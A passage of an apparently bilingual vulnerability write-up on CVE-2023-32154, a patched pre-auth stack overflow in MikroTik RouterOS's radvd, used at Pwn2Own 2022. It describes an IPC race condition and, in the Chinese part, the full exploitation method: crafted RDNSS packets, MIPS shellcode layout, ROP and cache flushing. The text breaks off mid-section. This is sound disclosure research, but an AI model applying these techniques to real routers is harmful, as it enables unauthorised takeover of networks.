After understanding the subscription mechanism, we can more fully understand the interaction between radvd and the resolver as follows:

When radvd receives the RA packet from the WAN, it will call roDNS for each IPv6 address. Handler 4 in resolver handles this request and creates the corresponding ipv6 object in handler 2. Then, because handler 1 in radvd subscribes to handler 2 in resolver, handler 2 in resolver pushes all the DNS addresses that it has to radvd, then handler 1 constructs a RA packet based on the DNS address he received, and then broadcasts the packet on the LAN.

The Root Cause of Race Condition

The problem is actually in the implementation of roDNS, where roDNS uses postMessage to send a nova message. postMessage is non-blocking, meaning that the remote object in radvd doesn’t immediately know what id of a remote object corresponds to in the resolver.

If our second packet arrives too soon, so that radvd doesn’t know what the remote object’s id is, then radvd can’t delete these objects in the first place, it can only mark them as destroyed for soft deletion, which results in a race condition.

Let’s try to understand the whole process step by step:

First, since both processes are single thread, we can assume that radvd and resolver are in their first loop. The radvd receives an RA from the WAN with only one DNS address, and radvd sends a request for creating a remote object to the resolver.

At the same time, resolver will set a timer when it receives the first request, because in the IPC mechanism, resolver has no way of knowing how many AddObj requests belong to the same group, so it simply sets a timer , and sends out a notification when the time is up. The resolver should reply with a nova message as a response, informing radvd of the id of the remote object that has just been added, and radvd will register a corresponding ResponseHandler to handle this request.

However, if the second RA packet is delivered so fast that the resolver hasn’t sent the response back yet, radvd can only mark the old DNS remote object as destroyed for soft deletion first.

Then radvd proceeds to create a new DNS remote object for the RDNSS field in the second RA packet received, but since the resolver hasn’t finished the first iteration yet, this new request stays in the socket until the next iteration.

Going back to resolver, the first iteration ends by passing back an id to radvd. radvd’s ResponseHandler will update the remote object based on the id it gets. But since the corresponding remote object has been marked for deletion, the ResponseHandler will delete the object instead of updating the object id.

After the ResponseHandler deletes the remote object saved in radvd, it will send a delete object message to resolver, informing it that the corresponding remote object is no longer in use and has to be deleted, but the request will still be stuck in the socket waiting to be processed.

The resolver then proceeds to the second iteration, where it gets a request from the socket to create a remote object for the second RA.

At this point, the previously set timer expires and the resolver calls nv::Handler::sendChanges to notify all subscribers what DNSs the resolver now knows about, since object 1 has not been deleted yet, so the resolver pushes the DNS that was created by the two requests. The DNS created by the two requests will be pushed out.

When radvd receives this information, it immediately constructs a RA packet to broadcast over the LAN, and the results of the two requests are mixed together, which is why our attack only succeeds on MacOS in the first place.

The race condition itself sounds hard to be triggered (it won’t be triggered if the delete request is processed before the timer), but this is because the whole process has been greatly simplified for ease of explanation, and in fact, as long as the time between the arrival of the two packets is short enough, the race will be successful.

Summary

Through the above analysis, we found a pattern of race conditions in the remote object mechanism of RouterOS:

• Use non-blocking methods to create/delete the remote object
• Subscribe to the remote object

Because it is possible to mix the results of two requests into a single response, this could possibly be used to bypass some security checks. If we can find such a vulnerability, it could be used to participate in the router category.

In the end, we were pressed for time and we didn’t find any exploitable vulnerabilities through the race condition.

And not only that, we realized that the exploit that we had tested hundreds of times over the past few months still had some issues, and we still couldn’t get it to work three hours before the registration deadline. We kept updating the exploit and the white paper we were going to submit, and it was done until half an hour before the deadline (4:00 AM deadline).

But luckily, we were able to complete the attack with only one attempt at Pwn2Own, becoming the first team in history to complete the new category of SOHO SMASHUP:

We earned 10 Master of Pwn points and $100,000 by this category, and at the end of the tournament, DEVCORE was crowned the winner with 18.5 Master of Pwn points.

In addition to receiving the Master of Pwn title, trophy, and jacket, the organizers will also send us one of each of the devices we hacked.

(We can’t fit all of them into a picture)

Conclusion

In this study, we have explored RouterOS in depth and revealed a security vulnerability that has been hidden in RouterOS for nine years. In addition, we found a design pattern in IPC that leads to a race condition. Meanwhile, we also open-source the tools used in the research at https://github.com/terrynini/routeros-tools for your reference.

Through this paper, DEVCORE hopes to share our discoveries and experiences to help white hat hackers gain a deeper understanding of RouterOS and make it more understandable.

English Version, 中文版本

TL;DR

DEVCORE 研究組在 Pwn2Own Toronto 2022 白帽駭客競賽期間，透過研究過去少有人注意到的攻擊面，在 MikroTik 旗下路由器產品所使用的 RouterOS 作業系統中，發現了存在九年之久的 WAN 端弱點，透過串連該弱點與另一個同樣由 DEVCORE 發現的 Canon printer 弱點，DEVCORE 成為史上第一個在 Pwn2Own 賽事中成功挑戰 SOHO Smashup 項目的隊伍；最終 DEVCORE 在 Pwn2Own Toronto 2022 奪下冠軍，並獲頒破解大師（Master of Pwn）的稱號。

該 WAN 端弱點發生在 RouterOS 中的 radvd 程式，由於該程式在處理 IPv6 SLAAC 的 ICMPv6 封包時，未對 RDNSS 欄位的長度進行檢查，導致攻擊者可透過發送兩次 Router Advertisement 封包觸發緩衝區溢位攻擊，使得攻擊者可在不需登入且無需使用者互動的情況下控制路由器底層的 Linux 系統進行高權限操作，取得路由器的完整控制權；此弱點被登記為 CVE-2023-32154，其 CVSS 分數為 7.5。

針對上述弱點， DEVCORE 已於 2022/12/29 經由 ZDI 回報 MikroTik 處理，並在 2023/05/19 完成修補，以下 RouterOS 版本已經對此弱點進行修補：

• Long-term Release 6.48.7
• Stable Release 6.49.8
• Stable Release 7.10
• Testing Release 7.10rc6

Pwn2Own 與 SOHO Smashup 簡介

Pwn2Own 是一系列由趨勢科技的 Zero Day Initiative（ZDI）主辦的比賽，每場賽事都會針對該次主題挑選一些熱門的產品作為目標，例如：作業系統、瀏覽器、電動車、工控系統、路由器、印表機、智慧音箱、手機、NAS、網路攝影機……等等。只要參賽隊伍可以在無需使用者互動、設備處於預設狀態、軟體更新至最新版本的條件下，演示攻擊並成功獲得設備的主控權，就可以獲得相應的 Master of Pwn 點數和獎金。賽末結算時，Master of Pwn 點數最高的隊伍就是冠軍，也被稱為破解大師（Master of Pwn）。

前幾年由於疫情的關係，Work From Home 或是 SOHO（即小型辦公／家庭辦公）變得非常普遍，因此 2022 的 Pwn2Own Toronto 也新增了一個稱作 SOHO Smashup 的特別項目，參賽者需要從 WAN 端入侵路由器後，再將路由器作為跳板攻擊居家常見的設備，例如：智慧音響、印表機等設備。

這個特別的新項目，除了獎金是所有項目中第二高的 $100,000（USD）之外，得分也是最高的十分，因此如果目標是奪冠，奪下這個項目絕對是如虎添翼！DEVCORE 在本次賽事中也特別挑選較少人研究的 MikroTik 作為目標，避免與他人找到重複的漏洞（與其他人撞洞時，獎金與得分皆減半），最大化奪冠的機率。

RouterOS 簡介

MikroTik 開發的 RouterOS 是一套基於 Linux 核心的作業系統，也是 MikroTik 旗下產品 「RouterBoard」上預設安裝的作業系統，RouterOS 亦可被安裝在個人電腦上，用來將電腦作為路由器使用。

雖然基於 Linux 核心開發的 RouterOS 確實有使用 GPL 授權的開源軟體，但如果想要得到相關的程式碼，根據官方網站 downloadterms 的說明，需要匯 45 塊美金給 MikroTik ，他們才會寄給你一張燒好 GPL source 的光碟，非常有趣的想法！幸好已經有人將 MikroTik 的 GPL source上傳到 Github，但在檢視過後，我們認為裡面的程式碼對於後續分析沒有太大的幫助。

RouterOS v7 與 RouterOS v6

在 MikroTik 官網的下載頁面上同時存在 RouterOS v7 以及 RouterOS v6 兩個版本，兩者之間的關係比較像是 RouterOS 的不同 branch，在設計上大同小異。因為我們的目標設備 RouterBoard RB2011UiAS-IN 預設安裝的是 RouterOS v6，所以我們先以 RouterOS v6 作為研究對象。

RouterOS 並沒有正式提供一個方法讓使用者直接管理底層的 Linux 系統，使用者被關在一個功能受限的 console 裡面，只能使用 RouterOS 提供的有限指令去管理這台路由器。因此過去有不少研究是關於如何 jailbreak RouterOS。

RouterOS 上的 binary 之間使用一種 MikroTik 自製的 IPC 進行溝通，此 IPC 利用稱為 nova message 的資料結構在各程式間交換資訊，因此我們將這類 binary 統一稱作 nova binary。

另外，RouterOS 還存在一個比較特別的攻擊面。在日常應用中，使用者可以透過 WinBox 這套 GUI 管理工具在 Windows 電腦上對 RouterOS 進行遠端管理，其原理是透過 TCP 向路由器傳送 nova message。因此若 RouterOS 沒有針對 nova message 做好權限驗證時，攻擊者就有機會自遠端發送一個夾帶惡意 nova message 的 TCP 封包入侵路由器；不過 WinBox 預設僅能從 LAN 端使用，對我們來說不是優先事項，因為這次的目標是從 WAN 端進行攻擊！

CVE 回顧

首先，為了熟悉 RouterOS 的攻擊面，我們全面審視了過去的 CVE。當時與 RouterOS 有關的 CVE 總共有 80 個，而當中可被用來在 pre-auth 情境下進行攻擊，且目標是路由器本身的共有 28 個 。

28 個 CVE 當中有 4 個 CVE 的使用情境是較符合 Pwn2Own 規則所描述的情境，這些 CVE 可以讓攻擊者在不需使用者互動的情況下在路由器上喚起一個 shell 或登入為 admin。這 4 個漏洞當中，有 3 個是在 2017 年至 2019 年這段時間被發現的，而且當中 3 個是「in the wild」而不是第一時間經由白帽駭客主動通報，這四個漏洞分別是：

• CVE-2017-20149：又稱 Chimay-Red，是 2017 年從 CIA 外洩的武器庫「Vault 7」中，針對 RouterOS 進行攻擊的漏洞之一。漏洞發生在 RouterOS 解析 HTTP 請求時，若 HTTP headers 中的 Content-Length 是負值，會造成 Integer Underflow，搭配 Stack Clash 的攻擊手法就能控制程式流程達成 RCE。
• CVE-2018-7445：是一個存在於 RouterOS 自己實做的 SMB 中的 buffer overflow。這是透過黑箱模糊測試找到的漏洞，也是四個漏洞中唯一一個由發現者自行回報的漏洞，一樣能夠控制程式執行流程最後達成 RCE，但 SMB 不是預設開啟的服務。
• CVE-2018-14847：也是「Vault 7」中針對 RouterOS 進行攻擊的漏洞之一。這個漏洞使攻擊者可以不需登入就讀取任意檔案，乍聽之下好像不是大問題，但由於在 RouterOS 的早期版本中，使用者的密碼是以 password xor md5(username + "283i4jfkai3389") 的方式儲存在檔案中，所以只要能夠讀取這個檔案，攻擊者就可以逆算得到 admin 的密碼。
• CVE-2021-41987：在 SCEP 服務的 base64 解碼過程中，因為長度計算錯誤導致的 heap buffer overflow 漏洞，這是資安研究員分析了 APT 在其 C2 server 上的 exploit 後反推出來的漏洞。

可以發現，這些漏洞大多是「in the wild」，我們無從得知當初發現漏洞的人是如何進行分析及思考。因此關於分析 RouterOS 的思路或是技巧，透過這些漏洞能學習到的十分有限。

相關研究回顧

我們繼續研讀公開的研究資料，在比賽的當下我們有這些文章以及演講可以參考：

• 2017
  • Kirils. Rooting the MikroTik routers
    • 主要關於 jailbreak
  • Kirils. A deeper journey into MikroTik routers
    • 主要關於 jailbreak
  • Kirils. Tools for effortless reverse engineering of MikroTik routers
    • 主要關於 jailbreak
• 2018
  • Jacob Baines. Bug Hunting in RouterOS
    • 探討 IPC 中的 nova message 的運作
• 2019
  • Jacob Baines. Make It Rain with MikroTik
    • 與 2018 的演講內容相同
  • Jacob Baines. MikroTik Firewall & NAT Bypass
    • 當時的 WinBox 存在一個弱點：當暴露在外網時，可以被用來對內網進行掃描
  • Maximiliano Vidal, Juan Caillava. Finding and exploiting CVE-2018–7445
    • 透過黑箱模糊測試找到 SMB 中的 Buffer Overflow 以及完整 exploit 方法
  • Tomas Kirnak. Deep-dive: MikroTik exploits - a security analysis
    • 討論 CIA 武器庫「Vault 7」外洩後所造成的大規模利用事件
  • Jacob Baines. Help Me Vulnerabilities You’re My Only Hope
    • 釋出一套協助使用者 jailbreak RouterOS 的工具，讓使用者有能力檢查自己的機器是否在大規模利用事件中被入侵
  • Jacob Baines. RouterOS: Chain to Root
    • 如何透過串連 DNS poisoning 弱點及降版弱點拿到 shell
• 2022
  • D39. Vulnerability Exposure & Notification on Mikrotik (CVE-2021-41987)
    • 在 APT 的 C2 server 上發現一個利用 RouterOS 0-day 的武器，透過分析找到漏洞的成因
  • Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight
    • 更詳細地闡述了 RouterOS 的 IPC 機制，並且釋出一套稱作 FOISted 的 jailbreak 工具協助研究員在 amd64 版本的 RouterOS 上進行近一步的研究
  • Qian Chen. MikroTik RouterOS Security: The Forgotten IPC Message
    • 透過模糊測試在 IPC 中挖掘漏洞

IPC 與 Nova Message 回顧

可以發現上述的研究大部分都離不開 RouterOS 的自製 IPC，所以我們也簡單的對其機制進行了回顧。 這裡使用一個簡單的例子對 IPC 進行說明。

日常使用場景中，使用者可以透過 telnet 登入至 RouterOS，並使用 conolse 對路由器進行管理。

讓我們拆解整個流程中 IPC 參與的部分：

1. 當使用者欲透過 telnet 存取 RouterOS 的 console 時，telnet process 會使用 execl 去執行 login 這個程式，並向使用者索取帳號及密碼。
2. 當使用者送出帳號密碼之後，login process 會將帳號密碼放進 nova message 中，發送至 user process 請求驗證
3. user process 完成驗證後，透過 nova message 通知驗證的結果
4. 如果登入成功就會喚起 console process，接下來使用者與 console 互動的過程都是透過 login process 轉發

IPC 簡介

上面的例子簡單地描述了 IPC 的基本概念，但兩個 process 間的溝通實際上更加複雜。首先，每個送往其他程式的 nova message 都會先透過 socket 被送往 loader，接著 loader 才根據 message 內容把 message 分派給對應的 nova binary。

讓我們舉一個簡單的例子來說明：假設 login process 的 id 是 1039；user process 的 id 是 13，且 user process 中負責驗證帳號密碼的是 id 為 4 的 handler。 則在登入驗證流程中，login process 首先會送一個包含帳號密碼的請求給 user process，這時的 SYS_TO 是一個包含兩個元素的陣列：[13, 4] ，表示要把 message 送給 binary id 為 13 的 process 中 id 為 4 的 handler。

當 loader 收到 message 後，它會先移除 message 內 SYS_TO 中代表目標 binary id 的 13，並在 SYS_FROM 中增加來源 binary 的 id，也就是 1039，之後把 message 傳送給 user process。

user process 收到 message 後也會做類似的事情，將SYS_TO 中代表目標 handler id 的 4 移除後，接著把 nova message 送至 handler 4 進行處理，最終由 handler 4 執行驗證的邏輯。

Nova Message 簡介

而上述 IPC 中使用的 nova message 是由 nv::message 及相關的 function 進行初始化與設定。Nova message 實際上是由具有型別的 key-value pair 構成，且 key 只能是整數，所以 SYS_TO 及 SYS_FROM 等 key 只是單純的 macro 罷了。而 nova message 中可以使用的型別包括 u32, u64, bool, string, bytes, IP 及 nova message （也就是可以建立巢狀的 nova message）。

因為 RouterOS 已不用 JSON 來傳遞 nova message，所以我們只針對 binary 格式進行說明。在 IPC 溝通過程中，收方的 socket 首先會收到一個表達當前 nova message 長度的整數，之後接著 binary 格式的 nova message。

Nova message 的開頭是兩個 magic bytes：M2。接下來，每個 key 都使用 4 bytes 來描述；其中，前 3 bytes 用來表達 key 的 id，最後一個 byte 是 key 的型別。根據型別，會以不同解析方式將緊接在後的 bytes 取出作為 data，取完 data 之後，後面緊接著的便是下一個 key，如此循環下去。當中比較特別的是 bool 型別，因為 bool 可以僅用一個 bit 表示，nova message 便直接使用 type 的最低一位 bit 來表示 True/False，更詳細的格式可以參考 Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight：

x3 format

為了瞭解 nova message 中 SYS_TO 及 SYS_FROM 的 id 具體是指哪一個 nova binary，我們需要解析一種副檔名為 x3 的檔案，它是 binary 格式的 xml。在撰寫工具解析 /nova/etc/loader/system.x3 後，我們便可得知每個 id 所對應的是哪個 nova binary，例如在下圖中，/nova/bin/log 的 id 就是 3。

但有些 binary 的 id 並不在這個檔案當中，是因為該 binary 可能是透過安裝 MikroTik 官方提供的 package 之後才有的功能，此時 binary 的 id 就會存在於 /ram/pckg/<package_name>/nova/etc/loader/<package_name>.x3 當中，radvd 就是一例。

儘管如此，依舊有些 binary id 是無法在任何 .x3 檔案中找到的，因為這類型的 process 並不是持久存在，例如：只有使用者嘗試登入時才會被喚起的 login process，這類 process 就以流水號作為 id。

另外，.x3 檔案也被用來記錄 nova binary 的相關設定，例如 www 就在 .x3 中指定每個 URI 應該使用哪一個 servlet 來進行處理。

小結

經由回顧了過去的研究及 CVE，可以發現大多我們感興趣的漏洞都集中在過去的一段時間內，近期似乎很難在 RouterOS 的 WAN 端找到 pre-auth 的漏洞。 且雖然這期間持續有漏洞被揭露，但可以發現 MikroTik 變得越來越安全。MikroTik 上真的已經不存在 pre-auth 的漏洞了嗎？或許單純只是所有人都把什麼東西漏看了？

前面提及的公開研究，可以簡單分成下面三類：

• 越獄（Jailbreaking）
• 分析在野的 exploit
• 研究 IPC 中的 nova message

然而在逆向 RouterOS 上的 binary 一段時間之後，我們發現整個系統的複雜度不僅於此，但卻沒什麼人提及相關細節。因此有了以下的感想：「沒有任何理智正常的人想要花時間逆向 nova binary」。

除了從 CIA 及 APT 取得的 exploit 之外，大部分在 RouterOS 上尋找漏洞的研究不外乎是 Fuzzing 網路協議、玩弄 nova message 或是針對 nova message 進行模糊測試。從成果來看，攻擊者對於 RouterOS 的理解似乎高過我們很多，我們需要探索更多關於 nova binary 的細節來彌補差距，才有機會找到我們想要找的漏洞。雖然我們並不反對 fuzzing 這個手法，但若要在這場比賽中取得優勢，我們就必須確定所有細節都被親眼看過。

從何開始

我們不認為 RouterOS 已經完美無暇，而且不難發現研究員與攻擊者對於 RouterOS 的理解存在著差距。所以，要在 RouterOS 上找到 pre-auth RCE 我們還缺少什麼？

首先我們想到的第一個問題是：IPC 的入口點在哪裡，它又通往哪裡？大部分透過 IPC 觸發的功能都需要進行登入，所以可以預期到：拘泥於 IPC，只會找到更多 post-auth 的弱點。且 IPC 不過只是 RouterOS 上用來實作主要功能的其中一個環節，我們更想直接、謹慎的觀察每個功能的核心程式碼。

舉例來說：負責處理 DHCP 的 process 是如何從一個 DHCP 封包中擷取需要的資訊？這些資訊可能直接被存在該 process 中，或可能需要透過 IPC 送給其他 process 做進一步處理。

Nova Binary 的架構

因此我們必須先認識 nova binary 的架構，每個 nova binary 中都有一個 Looper（或其衍生類別：MultifiberLooper），Looper 是負責執行 event loop 邏輯的一個類別，每次迭代都會呼叫 runTimer 來執行時間到了的 timer ，以及呼叫 poll 去檢查 socket 的狀態並做相對應的處理。

Looper 也負責自己所在的 nova binary 與 loader 之間的溝通，Looper 首先會先會針對當前 binary 與 loader 之間的 unix socket 註冊一個特別的 callback function：onMsgSock，這個函式負責把從 socket 收到的 nova message 分配給 nova binary 中對應的 handler。

Handler 類別與其衍生類

當 Looper 收到一個 nova message 時，它會將之分派給對應的 handler。例如，SYS_TO 為 [14, 0] 的訊息會被 loader 分配給 binary id 為 14 的 nova binary，而 binary id 為 14 的 binary 中的 looper 收到時，SYS_TO 已經剩下 [0]，因此 looper 會將其分配給 handler 0 進行處理。如果一開始的 nova message 中 SYS_TO 為 [14]，則 looper 收到時 SYS_TO 為 []，這種情境將由 Looper 自行處理。

現在讓我們假設，Looper 收到了一個由 handler 1 負責的 nova message，並分配給 handler 1，在收到 message 後，handler 1 會去呼叫 Handler 類別中的 nv::Handler::handleCmd，這個函式會根據 nova message 中的 SYS_CMD 在 vtable 中尋找對應的 function 執行。

除了常規的功能之外，vtable 中的 cmdUnknown 常被開發者 override 用以擴充功能，但有時開發者反而是 override handleCmd，看起來是全依 MikroTik 開發者的心情而定。而 Handler 類別因為是基礎類別，所以 object 相關的指令並沒有被實作。

衍生類別

然而 nova binary 中使用最多的並不是基本的 Handler 類別，而是其衍生類別。 衍生類別可以用來儲存多個單一型別物件，類似 C++ 的 STL 容器。

舉例來說，當使用者透過 web panel 的管理介面建立一個 DHCP server 的時候，會送出一個指令為「add object」的 nova message 到 dhcp process 的 handler 0，接下來 handler 0 會產生一個 dhcp server 物件記錄相關設定，並且該物件會被保存在 handler 0 內部的一個 tree 當中。

這裡的 handler 0 就是一個 AMap 的 instance，AMap 即是 Handler 的一個衍生類別。 且由於指令是「add object」，所以觸發了 AMap::cmdAddObj 這個成員函式，這個成員函式會去呼叫 handler 0 的 vtable 中位於 offset 0x7c 位置所指向的一個 function，這個 function 實際上就是 AMap 中包含的物件的建構式，例如，若開發者在宣告 handler 0 時，其類型為 AMap<string> ，則 offset 0x7c 的位置所指向的 function 就是 string 的建構式。

每個衍生類別儲存內部物件建構式的 function 在 vtable 上的 offset 都不相同，想要找到衍生類別中物件的建構子，可以透過逆向它們個別的 cmdAddObj 來找到。

IPC，和 IPC 以外的

儘管 IPC 似乎無處不在，但其實 RouterOS 中有許多功能並不以 IPC 實現。以實作在 discover 程式中的兩個 layer 2 的發現協議：CDP、LLDP 為例：

1. 在開啟這兩個服務時，discover 中的 handler 0 會負責去呼叫 nv::createPacketReceiver 來開啟 CDP 及 LLDP 使用的 socket 並且註冊分別對應的 callback function
2. 在 Looper 的每次迭代中，程式會透過 poll 來檢查 CDP 及 LLDP socket 是否有收到封包
3. 如果發現有收到封包就會呼叫對應的 callback function 去進行處理

CDP 的 callback 做的事情也非常簡單：確定收到封包的 interface 是允許存取的，如果正確，就解析封包並直接把資訊直接存入 nv::ASecMap 接著就直接結束，過程中並不使用 nova message。

在此類情境中，IPC 除了用來開啟 CDP 或 LLDP 服務之外（預設開啟），完全無法觸發 CDP 或是 LLDP 的任何功能，因此以往專注於 IPC 的研究就很有可能沒有檢測到這種實作方式的程式邏輯。

Pre-Auth RCE 的故事

對於 RouterOS 的理解，也伴隨著一次驚喜的意外帶領我們找到深藏已久的漏洞。

賽前某一天，我們照常為了在 RouterOS 上進行逆向及除錯而插拔網路線時，發現 log file 紀錄到 radvd 這隻程式已經 crash 了好幾次！所以我們嘗試插拔網路線來手動復現 crash 的發生，搭配 debugger 使用就能定位到出問題的地方，但經過了上千次的插拔，我們還是無法確定 crash 產生的條件，只能任憑 crash 隨機的發生。

經過一段時間的掙扎後，我們停止透過這種盲目的嘗試來定位漏洞，轉而利用靜態逆向分析 radvd 來尋找 crash 產生的位置，雖然最後依舊沒找到造成 crash 的根因，但受益於我們對於 nova binary 的理解，我們在 radvd 中找到了另外一個可以利用的漏洞。

在介紹這個漏洞之前，必須得先介紹一下 radvd process 究竟是負責什麼功能的程式。

SLAAC (Stateless Address Auto-Configuration )

一言以蔽之，radvd 是一個負責處理 IPv6 的 SLAAC 的服務。

在 SLAAC 環境中，假設一台電腦想要取得一個 IPv6 的地址上網，他首先會向所有 router 廣播一個 RS（Router Solicitation）的請求。 在 Router 收到 RS 之後，就會透過 RA（Router Advertisement）將 network prefix 廣播出去；收到 RA 的電腦便可以拿 network prefix 以及 EUI-64 來自行決定自己用來連網的 IPv6 為何。

若 ISP 或是網管，想把一個網段分配給用戶，讓用戶可自行分配地址給用戶管理的機器，在只使用 SLAAC 而不輔以 DHCP 時，如何分配一個網段給使用者？因為 SLAAC 並沒有辦法直接委派，所以通常會是這麼運作的：

假設有一個 upstream router：Router A，它屬於 ISP 或網管、還有一台用戶自行管理的 Router B、一台用戶管理的電腦。ISP 或網管會預先透過 email 通知用戶一個分配給用戶使用的 /48 network preifx，這裡假設是 2001:db8::/48。用戶可以將之設定在 Router B 上，則當電腦向 Router B 發送 RS 時，Router B 就會把這個 prefix 放入 RA 中回傳，而這個 prefix 稱作 routed prefix。

同時為了讓使用者的 Router B 有辦法與 Router A 溝通，它也需要一個自己的 IPv6 地址，這時 Router B 從 Router A 拿到的 network prefix 就稱作 link prefix。

radvd 的執行流程

1. radvd process 被啟動時，會透過 nv::ThinRunner::addSocket 來開啟 radvd 使用的 socket 並且註冊對應的 callback function

2. 在 Looper 的每次迭代中會透過 poll 檢查 socket 是否有收到封包

3. 如果發現有收到封包就會呼叫對應的 callback function 去進行處理

在 radvd 的 callback 中，它首先檢查封包是否是合法的 RA 或 RS，是 RA 就把資訊存起來；是 RS 就開始往 LAN 廣播 RA。

而總共有三種情況 RouterOS 會往 LAN 廣播 prefix：

1. 從 LAN 收到 RS 封包
2. 從 WAN 收到 RA 封包
3. 定時在 LAN 廣播 RA 封包（預設隨機在 200~600 秒之後廣播一次）

不過在 callback 中我們沒有馬上透過靜態分析找到 case 2 發送 RA 的地方，當時我們還不確定具體原因。後來發現這部分的行為與 RouterOS IPC 中的訂閱機制有關，我們將會在後面的章節進行解釋，這同時也與我們發現的 race condition 相關。不過另外兩個情況我們到是可以直接透過靜態分析找到。

在 case 1 中，當從 LAN 收到 RS 時，radvd 會呼叫 sendRA 來廣播 RA 封包：

在 case 2 中，handler 1 在初始化後便會去註冊一個 timer，RAroutine：

RAroutine 被用來在每隔一段時間去呼叫 sendRA 來廣播封包：

CVE-2023-32154

可以發現共同的函式就是 sendRA，在深入分析 sendRA 之後，我們發現 radvd 在處理 DNS advisory 的地方存在弱點。

首先，radvd 會將 upstream 收到的 RA 中的 DNS advisory 儲存起來（使用 tree 作為資料結構），當 router 要往 LAN 廣播 RA 時，這些 DNS 也會被包進 RA 中一起被廣播給 LAN 的機器。在 radvd 中，是 addDNS 這個 function 將樹狀結構的 DNS 展開後放進 ICMPv6 的封包當中。用來傳遞給 addDNS 的第一個參數 RA_raw 是一個 4096 bytes 的 buffer，也就是最終被送出的 ICMPv6。

跟進 addDNS 後我們馬上可以發現這裡可能存在一個 stack buffer overflow 的弱點，addDNS 透過 memcpy 把 DNS 放進 ICMPv6 封包中而且沒有任何 boundary check，只要 DNS advisory 給的夠多就可以觸發 stack buffer overflow。

這裡使用的 DNS 來自於 RA 封包中的 RDNSS 欄位，但根據 RFC 可以發現，用來描述 RDNSS 長度的欄位只有 8-bit，所以最多僅能覆蓋 255*16 bytes，這個長度並無法使我們覆寫到 return address。

但如果這不是 radvd 第一次收到 RA，radvd 就需要在接下來的封包中將舊的 DNS 標為 expired，所以實際上我們可以覆蓋兩倍的長度，也就是 255*16*2 bytes，這就足以讓我們覆蓋到 return address 了。

攻擊流程

有了上述的弱點，我們只要透過往目標 RouterOS 送兩個 RDNSS 欄位長度為 255 的惡意 RA 封包，就可以利用 RDNSS 中的 IPv6 地址來控制 radvd 程式的執行流程。

保護

由於 RouterOS 使用 MIPS 的架構，所以 CPU 並不支援 NX ，但除此之外的保護也沒有被開啟。 所以只要找到好用的 ROP gadget 讓執行流程最終 jump 到我們放在 stack 上的 shellcode 就行了，聽起來極度簡單。

shellcode 限制

但是在構造 exploit 的過程中其實存在不少限制，例如，因為 IPv6 地址被儲存在 tree 結構中，所以會在排序後才放上 stack，因此我們必須保證我們建構的 payload 在經過排序之後還會是我們一開始構造的 shellcode。

最簡單的方法是把 IPv6 的 prefix 當作流水號，這樣可以保證我們構造的內容照順序排列，接者只要透過 ROP gadget 跳到後半段的 shellcode 上面就算完成了。而在撰寫 shellcode 時，我們只要把每個地址的 suffix 都構造成 jump ，用來跳過無法執行的流水號即可。

但由於 MIPS 存在 delay slot 機制的關係，CPU 實際上會先去執行 jump 指令的後一條指令。

所以我們必須把 jump 往前移動才行，但緊接著的問題便是：在 delay slot 中不能使用 syscall 這個指令。這種情境下，payload 構造起來相當麻煩之外，還可能會超過我們可以使用的長度，因此這從一開始就是個壞主意。

然而眼尖的朋友肯定已經發現了，這其實是 CTF 中常見的初學等級題目，只要讓 prefix 是一個合法且不影響執行結果的指令就好了，我們把 prefix 改成 addi s8, s0, 1, addi s8, s0, 2, addi s8, s0, 3……，以此類推。除了 payload 會照排序排好之外，也節省了本來用來放 jump 指令的空間。

但我們還需要稍微修改一下 payload 才行，因為我們沒有 leak stack 位址的漏洞，加上我們找不到任何可用的 gadget 來把 stack 位址從 $sp 暫存器搬到 $t9 暫存器，所以我們這裡做的事情是：首先，透過 ROP gadget 把 jalr $sp 指令寫到一塊記憶體上，之後再用一個 ROP gadget 跳上去執行它，這樣就可以將執行流程導向我們構造的 shellcode，聽起來是一片光明的未來：

但光是這樣是無法順利執行 shellcode 的，因為 MIPS 針對記憶體的存取方式有兩個不同的 cache。

cache

MIPS 上存在兩個 cache：I-cache（instruction cache）、D-cache（data cache）。

當我們把 jslr $sp 指令寫上記憶體時，實際上是寫到 D-cache 中。

而當我們接著把執行流程控制到 jslr $sp 的地址時，處理器會先去檢查這個地址的指令有沒有在 I-cache 當中，因為該位址位於 data section，在正常執行流程中肯定沒有被執行過，所以 cache 永遠都會 miss，因此處理器會接著將 memory 的內容載入 I-cache 當中。

此時因為 D-cache 的內容還沒有被更新到 memory 上，I-cache 只會抓到一堆 null bytes，也就是 MIPS 上的 nop，所以程式只會執行一堆毫無意義的 nop 直到 crash 為止。

在這裡我們需要使處理器將 D-cache 的內容寫回 memory，有兩個方法可以做到這件事情：context switch 或是用盡 D-cache 所有空間（32 KB）。觸發 context switch 是比較簡單的做法，但在 radvd 中並沒有任何 sleep 讓我們用來觸發 context switch，其他 function 雖然也會陷進 kernel，但 context switch 發生的機率並不高，為了角逐 Pwn2Own 冠軍，讓攻擊達到趨近 100% 成功的穩定度是必須的，因此我們轉而尋找耗盡 D-cache 的 32kb 容量的方法。

首先，透過簡單的檢查可以發現 RouterOS 的 radomize_va_space 變數是 1，表示 heap 的記憶體位址不是隨機的，因此不需要 leak 就可以知道 heap 所在位址，所以我們只要接著想辦法讓 heap 分配足夠大的空間，然後寫一些無關緊要的東西上去就可以耗盡 32kb 的 D-cache 了！不過 radvd 中並沒有太多好用的 ROP gadget，所以要構造這樣的 payload 需要串連更多 ROP gadget 才能達到同樣的目的，最終 payload 長度可能會超過我們可以覆蓋的長度。

幸運的是如同前面所說，DNS 被存放在 tree 結構中，所以儲存時就已經在 heap 中佔據一大塊記憶體，透過 gdb 逐步執行，我們可以確定在處理 DNS 時，heap 的空間已經比 32kb 還要大！因此我們只要接著透過 GOT hijack 呼叫 memcpy 往 heap 寫 32kb 的垃圾就可以了！

最後我們的 exploit 就完成了：

結合我們另外一個為了 Pwn2Own 找的 Canon printer 弱點，攻擊流程會是

1. 攻擊者作為 router 的壞鄰居，對它發送惡意的 ICMPv6 封包
2. 在成功控制 router 後，我們進行 port forwarding，把 payload 導向在 LAN 的 Canon 印表機。

在 Pwn2Own 的比賽環境中，網路環境可以被簡化得更簡單一點，如下：

Exploit 除錯過程

就在我們覺得 $100,000 的獎金已經到手的時候，不可思議的事情發生了，那就是我們的攻擊只要在 Ubuntu 上執行就會失敗，不管這個 Ubuntu 系統是在 MacOS 內的一台虛擬機器又或者是一台 Ubuntu 實機；而 Pwn2Own 官方，基本上是使用 Ubuntu 來執行我們的 exploit，所以我們必須要解決這個問題。

我們嘗試在 MacOS 上執行 exploit 並且紀錄網路封包，然後在 Ubuntu 上重放流量，可以觀察到重放會失敗：

